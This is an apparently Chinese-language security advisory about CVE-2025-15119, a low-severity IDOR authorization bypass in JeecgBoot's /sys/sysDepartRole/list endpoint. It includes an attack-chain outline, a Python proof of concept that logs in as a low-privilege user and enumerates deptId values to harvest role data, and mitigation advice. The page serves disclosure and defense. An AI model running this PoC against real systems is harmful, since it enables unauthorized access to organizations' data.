IPBUF安全漏洞报告
English
CVE-2025-15119 CVSS 3.1 低危

CVE-2025-15119 | JeecgBoot 权限绕过漏洞(低危)

披露日期: 2025-12-28

漏洞信息

漏洞编号
CVE-2025-15119
漏洞类型
权限绕过/不安全的直接对象引用(IDOR)
CVSS评分
3.1 低危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
JeecgBoot

相关标签

CVE-2025-15119权限绕过IDORJeecgBoot信息泄露API安全越权访问3.9.0及以下版本

漏洞概述

CVE-2025-15119是JeecgBoot企业应用开发框架中存在的一个权限绕过漏洞。该漏洞影响JeecgBoot 3.9.0及之前版本,攻击者可利用/sys/sysDepartRole/list接口中queryPageList函数的deptId参数进行未授权访问。由于该函数对用户输入的部门ID参数缺乏严格的权限验证机制,攻击者可以通过操纵deptId参数值,访问本无权查看的其他部门角色信息。漏洞可被远程利用,虽然攻击复杂度较高,但已被公开披露并可能被恶意利用。CVSS评分3.1分,属于低危级别漏洞,主要影响系统的机密性,可能导致敏感部门信息泄露。

技术细节

漏洞根源在于JeecgBoot的/sys/sysDepartRole/list接口对deptId参数的处理存在授权缺陷。攻击者通过构造恶意的deptId参数值(指向其他部门ID),可绕过正常的权限检查逻辑,直接查询目标部门的角色列表数据。该漏洞属于典型的不安全直接对象引用(IDOR)问题,攻击者利用低权限账号即可访问高权限才能获取的部门敏感信息。攻击路径为:攻击者首先获取系统普通用户账号,登录后构造针对/sys/sysDepartRole/list的API请求,通过修改deptId参数为目标部门ID,系统未正确验证当前用户与目标部门的从属关系,导致越权访问成功。修复方案需在queryPageList函数中添加用户-部门关系的权限校验逻辑。

攻击链分析

STEP 1
步骤1
信息收集:识别目标系统使用的JeecgBoot版本,确认版本≤3.9.0
STEP 2
步骤2
账号获取:获取目标系统的低权限用户账号或注册新账号
STEP 3
步骤3
认证访问:使用低权限账号登录系统,获取有效会话Token
STEP 4
步骤4
漏洞探测:访问/sys/sysDepartRole/list接口,测试deptId参数是否可被操纵
STEP 5
步骤5
越权访问:构造deptId参数指向目标部门ID,绕过权限检查获取敏感数据
STEP 6
步骤6
数据窃取:批量枚举部门ID,收集各部门的角色权限信息用于后续攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-15119 PoC - JeecgBoot 权限绕过漏洞 # Target: /sys/sysDepartRole/list endpoint # Vulnerability: IDOR via deptId parameter manipulation import requests import json target = "http://target-server.com" login_url = f"{target}/sys/login" vuln_url = f"{target}/sys/sysDepartRole/list" # Step 1: Login with low-privilege account login_data = { "username": "attacker_user", "password": "password123" } session = requests.Session() login_resp = session.post(login_url, json=login_data) if login_resp.status_code != 200: print("[-] Login failed") exit(1) print("[+] Login successful") # Step 2: Exploit IDOR by manipulating deptId parameter # Try accessing other department's role data for dept_id in range(1, 100): payload = { "deptId": dept_id, "pageNo": 1, "pageSize": 10 } resp = session.get(vuln_url, params=payload) if resp.status_code == 200: data = resp.json() if data.get("success") and data.get("result"): print(f"[!] Found accessible data for deptId: {dept_id}") print(f"Data: {json.dumps(data, indent=2)}") # Save sensitive department role information with open(f"dept_{dept_id}_roles.json", "w") as f: json.dump(data, f, indent=2) print("[*] PoC execution completed")

影响范围

JeecgBoot <= 3.9.0

防御指南

临时缓解措施
临时缓解措施:在Web应用层配置访问控制策略,限制低权限用户对/sys/sysDepartRole/list接口的访问;对deptId参数进行严格的白名单校验,确保用户只能访问所属部门的数据;启用应用层请求日志监控,及时发现和阻断异常越权访问行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表